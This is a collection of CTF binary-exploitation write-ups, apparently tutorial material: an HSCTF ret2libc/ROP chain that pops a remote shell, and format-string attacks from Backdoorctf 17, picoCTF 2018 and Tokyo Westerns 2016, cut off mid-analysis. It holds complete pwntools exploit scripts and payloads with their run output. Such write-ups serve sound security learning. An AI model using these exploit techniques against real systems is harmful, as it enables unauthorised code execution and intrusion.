0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Also the indication I used to see if I had the right libc version (doesn't work 100% of the time), but when I would try and calculate the base of the libc using offsets, it ended with several zeros that would usually be a good indication.

Now back to the exploitation. There are 0x38 bytes between the start of our input and the return address (48 for the size of the char buffer, and 8 for the saved base pointer). Now for the write libc infoleak we will need the rdi register to have the value 0x1 to specify the stdout file handle, rsi to have the address of the got entry for write (since that will give us the libc address for write), and rdx to have a value greater than or equal to 8 (to leak the address). Also since PIE isn't enabled, we know the address of the got entry without a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the rdx register is set to 0x190 which will fit our needs.

        00400684 ba 90 01        MOV        EDX,0x190
                 00 00
        00400689 48 89 c6        MOV        RSI,RAX
        0040068c bf 00 00        MOV        EDI,0x0
                 00 00
        00400691 e8 1a fe        CALL       read                                             ssize_t read(int __fd, void * __
                 ff ff
        00400696 b8 00 00        MOV        EAX,0x0
                 00 00
        0040069b c9              LEAVE
        0040069c c3              RET

Now for the got entry of write in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it really doesn't affect much:

$    python ROPgadget.py --binary storytime | grep rsi
0x0000000000400701 : pop rsi ; pop r15 ; ret

For the last register (the 1 in rdi) I settled this with where we jumped back to. Instead of calling write, I just jumped to 0x400601 which is in the middle of the end function:


void end(void)

{
  write(1,"The End!\n",0x28);
  return;
}

Specifically the instruction we jump back to will mov 0x1 into the edi register then call write, which will give us our infoleak:

        00400606 e8 95 fe        CALL       write                                            ssize_t write(int __fd, void * _
                 ff ff
        0040060b 90              NOP
        0040060c 5d              POP        RBP
        0040060d c3              RET

Then it will return and continue on with our rop chain. However before it does that, it will pop a value off of our chain into the rbp register so we will need to include a filler 8 byte qword in our rop chain at that point. For where to jump to, I choose 0x40060e, since it is the beginning of the climax function which gives us a buffer overflow where we can overwrite the return address with a onegadget and pop a shell.

void climax(void)

{
  undefined local_38 [48];
 
  read(0,local_38,4000);
  return;
}

Also to find the onegadget, we can just use the onegaget finder like this to find the offset from the base of libc. To choose which one to use, I normally just guess and check instead of checking the conditions at runtime (I find it a bit faster):

$    one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Putting it all together, we get the following exploit. If you want to run it locally with a different version of libc, you can either swap it out with something like LD_PRELOAD, or just switch the libc variable to point to the libc version you're using. If you do do that, you will also need to update the one_gadget offset too:

from pwn import *

# Establisht the target
#target = process('./storytime')
#gdb.attach(target, gdbscript = 'b *0x40060e')
target = remote("pwn.hsctf.com", 3333)

# Establish the libc version
libc = ELF('libc.so.6')
#libc = ELF('libc-2.27.so')


#0x0000000000400701 : pop rsi ; pop r15 ; ret
popRsiR15 = p64(0x400701)

# Got address of write
writeGot = p64(0x601018)

# Filler to reach the return address
payload = "0"*0x38

# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x3030303030303030) # Filler value will be popped into r15

# Right before write call in end
payload += p64(0x400601)

# Filler value that will be popped off in end
payload += p64(0x3030303030303030)

# Address of climax, we will exploit another buffer overflow to use the rop gadget
payload += p64(0x40060e)

# Send the payload
target.sendline(payload)

# Scan in some of the output
print target.recvuntil("Tell me a story: \n")

# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print hex(base)

# Calculate the oneshot gadget
oneshot = base + 0x4526a

# Make the payload for the onshot gadget
payload = "1"*0x38 + p64(oneshot)

# Send it and get a shell
target.sendline(payload)
target.interactive()

When we run it:

$    python exploit.py
[+] Opening connection to pwn.hsctf.com on port 3333: Done
[*] '/Hackery/hs/storytime/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:

0x7fddbba46000
[*] Switching to interactive mode
Pҳ\xbb�\x00\x00p^\xab\xbb�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xb6���\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ls
bin
dev
flag
lib
lib32
lib64
storytime
$ ls
bin
dev
flag
lib
lib32
lib64
storytime
$ cat flag
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}

Just like that, we captured the flag!

Format Strings

Backdoorctf 17 bbpwn

Let's take a look at the binary:

$    ./32_new
Hello baby pwner, whats your name?
guyinatuxedo
Ok cool, soon we will know whether you pwned it or not. Till then Bye guyinatuxedo
$    file 32_new
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c668579652906e8dd34223b8b5aa3becf8, not stripped
$    pwn checksec 32_new
[*] '/Hackery/pod/modules/fmt_strings/backdoor17_bbpwn/32_new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So looking at this binary, when we run it it prompts us for input then prints it. We can see that it is a 32 bit binary with no PIE or RELRO. When we take a look at the main function in IDA, we see this:

void main(void)

{
  char name [200];
  char message [300];
 
  puts("Hello baby pwner, whats your name?");
  fflush(stdout);
  fgets(name,200,stdin);
  fflush(stdin);
  sprintf(message,"Ok cool, soon we will know whether you pwned it or not. Till then Bye %s",name);
  fflush(stdout);
  printf(message);
  fflush(stdout);
                    /* WARNING: Subroutine does not return */
  exit(1);
}

So we can see that it scans in our input using fgets, copies it and a message over to the message variable via sprintf. Then it prints the message using printf. The thing is, the way it's printing it is a bug. It's printing it without specifying what format string to use for it (like %s, %x, or %p). As a result, we can specify our own format which we will have it printed as. For example:

$    ./32_new
Hello baby pwner, whats your name?
%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 8048914.ffab2f78.ffab2fcc.f7fa0289

We can see there that we have printed off values as four byte hex values. The thing that makes this really fun, is printf has a %n flag. This will write an integer to memory equal to the amount of bytes printed. With this due to the binary's setup we can get code execution. Since PIE isn't enabled we know the address of everything from the binary including the GOT table, which holds the addresses of libc function which are executed. Since RELRO is not enabled, we can write to this table. So we can use this bug to write to the GOT table so when it tries to call a function from libc, it will call something else. Looking at the code we see that fflush would be a good candidate since it is after the printf call.

Now let's figure out how to exploit this bug. First we need to see where our input ends up on the stack in reference to the format string bug. In order to do this, we will just give some input and see where it is with %x flags:

$    ./32_new
Hello baby pwner, whats your name?
000011112222.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 000011112222.8048914.ff8b05c8.ff8b061c.f7f7a289.38c.f7bee794.ff8b0874.f7f6a3d0.f7f7a73d.30303030.31313131.32323232.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
$    ./32_new
Hello baby pwner, whats your name?
000011112222.%10$x.%11$x.%12$x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 000011112222.30303030.31313131.32323232

So we can see that the offsets for our three four byte values are 10, 11, and 12. Now the reason why these are four bytes is they will store an address that we are writing to, and since this is x86 addresses are four bytes. The reason why there are three of them, is we can only write a number equal to the amount of bytes printf has printed. So writing an entire address like 0x08048574 will cause us to print a huge amount of bytes, and really isn't realistic over a remote connection. So we can split it up into three smaller writes. Now the question is what function will we overwrite the GOT entry of fflush with. Looking through the list of functions, we see flag at 0x0804870b looks like a good candidate (no arguments needed):


/* WARNING: Unknown calling convention yet parameter storage is locked */
/* flag() */

void flag(void)

{
  system("cat flag.txt");
  return;
}

If we call this function it will just print the flag. There is one more piece of this puzzle we need to figure out before we can write the exploit. With our write, we write the amount of bytes specified. We can increase the amount of bytes we print by 10 by including %10x in our format string. However once we do a write of 10, all subsequent writes must be less than that. For our first write, we will worry about writing the first byte of the address to flag to the got entry for fflush which we can find using objdump:

$    objdump -R 32_new | grep fflush
0804a028 R_386_JUMP_SLOT   fflush@GLIBC_2.0

With the second write, we will write the second and third. The fourth write will write the highest byte of the address. However we will get around the fact that subsequent writes can only be greater than or equal to the previous write by overflowing the next spot in memory with it. So whatever value we write for the third write, only the least significant byte will end up in the highest byte for the got entry for fflush. To make more sense, let's look at the memory layout of the got entry while we carry out this attack. For that here's a small sample script which will carry out the attack and drop us in gdb to see:

#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')

#Attach gdb if it is a process
gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fmt_string0 + fmt_string1 + fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()

When we run the script and check the memory layout in gdb, we see this:

─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80487d0 <main+172>       lea    eax, [ebp-0x138]
    0x80487d6 <main+178>       push   eax
    0x80487d7 <main+179>       call   0x80485d0 <printf@plt>
 →  0x80487dc <main+184>       add    esp, 0x10
    0x80487df <main+187>       mov    eax, ds:0x804a044
    0x80487e4 <main+192>       sub    esp, 0xc
    0x80487e7 <main+195>       push   eax
    0x80487e8 <main+196>       call   0x80485c0 <fflush@plt>
    0x80487ed <main+201>       add    esp, 0x10
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "32_new", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80487dc → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x080487dc in main ()
gef➤  x/2w 0x804a028
0x804a028:    0x52005252    0xf7000000

So we can see that the value the printf write by default is 0x52. We need the first byte to be 0x0b to match the flag function's address 0x0804870b. We will just add 185 bytes to change the value to 0x10b so the byte there will be 0x0b. The 0x01 will overflow into the second byte, however that will be overwritten with the second write so we don't need to worry about it yet. When we append %185x to the first write and check the memory layout afterwards, we see this:

Breakpoint 1, 0x080487dc in main ()
gef➤  x/2x 0x0804a028
0x804a028:    0x0b010b0b    0xf7000001

So we can see that the first byte is 0x0b which is what it should be. Now for the second write, we need the second and third byte to be equal to 0x0487, and it is 0x010b. So we need to add 0x0487 - 0x010b = 892 bytes to get it there. When we add %892x to the second write, we see that this is the new address that is written:

Breakpoint 1, 0x080487dc in main ()
gef➤  x/2x 0x0804a028
0x804a028:    0x8704870b    0xf7000004

So we can see that all of the bytes with the exception of the fourth byte are correct. Now we just need to add (0x100 - 0x87) + 0x8 = 129 bytes to get the fourth byte equal to 0x08. Of course this will spill over to the next dword (if you check the last couple of memory layouts, you can see it's value change as we overwrite part of it). However that value isn't used in anyway that would crash or prevent us from pulling this off, so we don't need to worry about it. When we add the final "bytes printed padding" (if you can call it that) we end up with this exploit:

#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')
#target = remote('163.172.176.29', 9035)

#Attach gdb if it is a process
#gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Prompt for input, to pause for gdb
#raw_input()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the amount of bytes needed to be printed in order to write correct value
flag_val0 = "%185x"
flag_val1 = "%892x"
flag_val2 = "%129x"

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + flag_val0 + fmt_string0 + flag_val1 + fmt_string1 + flag_val2 + fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './32_new': pid 31622
Hello baby pwner, whats your name?

[*] Switching to interactive mode
Ok cool, soon we will know whether you pwned it or not. Till then Bye (\xa0\x0)\xa0\x0+\xa0\x0                                                                                                                                                                                  8048914                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ffaa8f08                                                                                                                         ffaa8f5c
[*] Process './32_new' stopped with exit code 1 (pid 31622)
flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive

Just like that, we solved the challenge!

Picoctf 2018 echo

Let's take a look at the binary:

$    file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
$    pwn checksec echo
[*] '/Hackery/pod/modules/fmt_strings/pico18_echo/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %x.%x
40.f7f925c0
> guyinatuxedo
guyinatuxedo

So we can see that we are dealing with a 32 bit executable. When we run it, it prompts us for input and prints it back to us. We can also see that with %x that there is a format string bug (when printf doesn't specify the format for data to be printed, and the data can). Looking at the main function in ghidra, we see this:


void main(void)

{
  __gid_t __rgid;
  FILE *flagFile;
  char input [64];
  char flag [64];
 
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  memset(input,0,0x40);
  memset(input,0,0x40);
  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  flagFile = fopen("flag.txt","r");
  if (flagFile == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server."
        );
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(flag,0x40,flagFile);
  do {
    printf("> ");
    fgets(input,0x40,stdin);
    printf(input);
  } while( true );
}

So we can see a few things here. First the format string bug takes place in a loop that on paper will run infinitely (the while true loop). However before that, we see that it actually scans the contents of the flag file to a char array on the stack for main, so it's not too far away (also we need to have a flag.txt file in the same directory as the executable when we run it). If we can find the offset to it's pointer, we can just print it using %s with the format string bug. We can check the offset using gdb. We will essentially just leak a bunch of values, check to see where the flag is in memory, and see if any of those values is a pointer to the flag:

$    cat flag.txt
flag{flag}
$    gdb ./echo
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./echo...(no debugging symbols found)...done.
gef➤  r
Starting program: /Hackery/pod/modules/fmt_strings/pico18_echo/echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
40.f7faf5c0.8048647.f7fdf409.f63d4e2e.f7ffdaf8.ffffd124.ffffd02c.3e8.804b160.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.> 40.f7faf5c0.8048647.f7fdf409.f63d4e2e.f7ffdaf8.ffffd124.ffffd02c.3e8.804b160.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
> ^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0x0       
$ecx   : 0x0804c2d0  →  "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x[...]"
$edx   : 0x400     
$esp   : 0xffffce70  →  0xffffced8  →  0x0000003f ("?"?)
$ebp   : 0xffffced8  →  0x0000003f ("?"?)
$esi   : 0xf7faf5c0  →  0xfbad2288
$edi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$eip   : 0xf7fd5059  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce70│+0x0000: 0xffffced8  →  0x0000003f ("?"?)     ← $esp
0xffffce74│+0x0004: 0x00000400
0xffffce78│+0x0008: 0x0804c2d0  →  "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x[...]"
0xffffce7c│+0x000c: 0xf7ebdcd7  →  0xfff0003d ("="?)
0xffffce80│+0x0010: 0x00000000
0xffffce84│+0x0014: 0x00000000
0xffffce88│+0x0018: 0xf7e4b1b9  →  <_IO_doallocbuf+9> add ebx, 0x163e47
0xffffce8c│+0x001c: 0xf7faf5c0  →  0xfbad2288
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7fd5053 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7fd5055 <__kernel_vsyscall+5> sysenter
   0xf7fd5057 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd5059 <__kernel_vsyscall+9> pop    ebp
   0xf7fd505a <__kernel_vsyscall+10> pop    edx
   0xf7fd505b <__kernel_vsyscall+11> pop    ecx
   0xf7fd505c <__kernel_vsyscall+12> ret    
   0xf7fd505d                  nop    
   0xf7fd505e                  nop    
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "echo", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd5059 → __kernel_vsyscall()
[#1] 0xf7ebdcd7 → read()
[#2] 0xf7e4a188 → _IO_file_underflow()
[#3] 0xf7e4b2ab → _IO_default_uflow()
[#4] 0xf7e3e151 → _IO_getline_info()
[#5] 0xf7e3e29e → _IO_getline()
[#6] 0xf7e3d04c → fgets()
[#7] 0x8048742 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7fd5059 in __kernel_vsyscall ()
gef➤  search-pattern flag{flag}
[+] Searching 'flag{flag}' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
  0x804b2c0 - 0x804b2ca  →   "flag{flag}"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd02c - 0xffffd036  →   "flag{flag}"

So we can see that on the stack the contents of flag{flag} resides at 0xffffd02c. We can also see that we can reach it using the format string bug at offset 8. With this, we can leak the flag.

$    ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
flag{flag}

> ^C

Just like that, we got the flag!

Tokyowesterns 2016 greeting

Let's take a look at the binary:

$    file greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped
$    pwn checksec greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
[*] '/Hackery/all/tw16/greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So we are dealing with a 32 bit binary, with a stack canary and non executable stack (but no RELRO or PIE). Let's see what happens when we run the binary:

./greeting
Hello, I'm nao!
Please tell me your name... guyinatuxedo
Nice to meet you, guyinatuxedo :)

So we can see that we are prompted for input, which it prints back out to us. Let's take a look at the binary in Ghidra:

void main(void)

{
  int bytesRead;
  int in_GS_OFFSET;
  char printedString [64];
  undefined name [64];
  int stackCanary;
 
  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  bytesRead = getnline(name,0x40);
  if (bytesRead == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(printedString,"Nice to meet you, %s :)\n",name);
    printf(printedString);
  }
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So we can see that in the main function, it runs the getnline function which scans in input and returns the amount of bytes read (I will cover that function next). It scans in data into the name char buffer. Proceeding that if getnline didn't scan in 0 bytes, it will write the string "Nice to meet you, " + ourInput + " :)\n" to printedString, then prints it using printf. Thing is since in the printf call it doesn't specify a format to print the input, this is a format string bug and we can specify how our input is printed. Using the %n flag with printf, we can actually write to memory. Since RELRO isn't enabled, we can write to the GOT table (the GOT Table is a table of addresses in the binary that hold libc address functions), and since PIE isn't enabled we know the addresses of the GOT table.

Looking at the getnline function, we see this:

void getnline(char *ptr,int bytesRead)

{
  char *pcVar1;
 
  fgets(ptr,bytesRead,stdin);
  pcVar1 = strchr(ptr,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = '\0';
  }
  strlen(ptr);
  return;
}

It just scans in bytesRead amount of data (in our case 0x40 or 60 so no overflow) into the space pointed to by ptr. Proceeding that, it will replace the newline character with a null byte. It will then return the output of strlen on our input.

Now the next thing we need will be a function to overwrite a got entry with. Looking through the list of imports in ghidra (imported functions are included in the compiled binary code, and since pie isn't enabled we know the addresses of those functions) we can see that system is imported, and is at the address 0x8048490 in the plt table:

                             **************************************************************
                             *                       THUNK FUNCTION                       *
                             **************************************************************
                             thunk int system(char * __command)
                               Thunked-Function: <EXTERNAL>::system
             int               EAX:4          <RETURN>
             char *            Stack[0x4]:4   __command
                             system@@GLIBC_2.0
                             system                                          XREF[2]:     system:08048490(T),
                                                                                          system:08048490(c), 08049a48(*)  
        0804a014                 ??         ??

We can also find the address using objdump:

$    objdump -D greeting | grep system
08048490 <system@plt>:
 8048779:    e8 12 fd ff ff           call   8048490 <system@plt>

So we will overwrite a got entry of a function with system to call it. The question is now which function to overwrite? Now we run into a different problem. The only function called after the printf call which gives us a format string write, is __stack_chk_fail() which will only get called if we execute a buffer overflow which we really can't do right now. We will overcome this by writing to the .fini_array, which contains an array of functions which are executed sometime after main returns. We will just write to it the address which starts the setup for the getnline function, to essentially wrap back around. We can find the .fini_array using gdb while running the program:

gef➤  info file
Symbols from "/Hackery/all/tw16/greeting".
Native process:
    Using the running image of child process 18898.
    While running this, GDB does not access memory from...
Local exec file:
    `/Hackery/all/tw16/greeting', file type elf32-i386.
    Entry point: 0x80484f0
    0x08048134 - 0x08048147 is .interp
    0x08048148 - 0x08048168 is .note.ABI-tag
    0x08048168 - 0x0804818c is .note.gnu.build-id
    0x0804818c - 0x080481b8 is .gnu.hash
    0x080481b8 - 0x080482a8 is .dynsym
    0x080482a8 - 0x08048344 is .dynstr
    0x08048344 - 0x08048362 is .gnu.version
    0x08048364 - 0x08048394 is .gnu.version_r
    0x08048394 - 0x080483ac is .rel.dyn
    0x080483ac - 0x08048404 is .rel.plt
    0x08048404 - 0x08048427 is .init
    0x08048430 - 0x080484f0 is .plt
    0x080484f0 - 0x08048742 is .text
    0x08048742 - 0x08048780 is tomori
    0x08048780 - 0x08048794 is .fini
    0x08048794 - 0x080487fd is .rodata
    0x08048800 - 0x0804883c is .eh_frame_hdr
    0x0804883c - 0x0804892c is .eh_frame
    0x0804992c - 0x08049934 is .init_array
    0x08049934 - 0x08049938 is .fini_array
    0x08049938 - 0x0804993c is .jcr
    0x0804993c - 0x08049a24 is .dynamic
    0x08049a24 - 0x08049a28 is .got
    0x08049a28 - 0x08049a60 is .got.plt
    0x08049a60 - 0x08049a68 is .data
    0x08049a80 - 0x08049aa8 is .bss
    0xf7fd6114 - 0xf7fd6138 is .note.gnu.build-id in /lib/ld-linux.so.2
    0xf7fd6138 - 0xf7fd6214 is .hash in /lib/ld-linux.so.2
    0xf7fd6214 - 0xf7fd6314 is .gnu.hash in /lib/ld-linux.so.2
    0xf7fd6314 - 0xf7fd6554 is .dynsym in /lib/ld-linux.so.2
    0xf7fd6554 - 0xf7fd677a is .dynstr in /lib/ld-linux.so.2
    0xf7fd677a - 0xf7fd67c2 is .gnu.version in /lib/ld-linux.so.2
    0xf7fd67c4 - 0xf7fd688c is .gnu.version_d in /lib/ld-linux.so.2
    0xf7fd688c - 0xf7fd69dc is .rel.dyn in /lib/ld-linux.so.2
    0xf7fd69dc - 0xf7fd6a14 is .rel.plt in /lib/ld-linux.so.2
    0xf7fd6a20 - 0xf7fd6aa0 is .plt in /lib/ld-linux.so.2
    0xf7fd6aa0 - 0xf7fd6aa8 is .plt.got in /lib/ld-linux.so.2
    0xf7fd6ab0 - 0xf7ff17fb is .text in /lib/ld-linux.so.2
    0xf7ff1800 - 0xf7ff60a0 is .rodata in /lib/ld-linux.so.2
    0xf7ff60a0 - 0xf7ff60a1 is .stapsdt.base in /lib/ld-linux.so.2
